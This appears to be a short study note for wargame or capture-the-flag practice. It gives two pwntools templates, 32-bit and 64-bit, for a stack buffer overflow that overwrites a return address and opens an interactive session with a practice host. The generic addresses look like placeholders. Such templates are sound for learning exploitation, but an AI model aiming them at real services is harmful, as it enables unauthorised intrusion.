Buffer Overflow Attack

pwntools for Return Address Overwrite(x32)

from pwn import *

p = remote('target.pwnable.io', 8000)

dummy = b'A' * 20
sfp = b'B' * 4
ret = p32(0x08048087)

payload = dummy + sfp + ret

p.recvuntil('input: ')
p.send(payload)
p.interactive()


pwntools for Return Address Overwrite(x64)

from pwn import *

p = remote('target.pwnable.io', 8000)

dummy = b'A' * 20
sfp = b'B' * 8
ret = p64(0x08048087)

payload = dummy + sfp + ret

p.recvuntil('input: ')
p.send(payload)
p.interactive()


results matching ""

    No results matching ""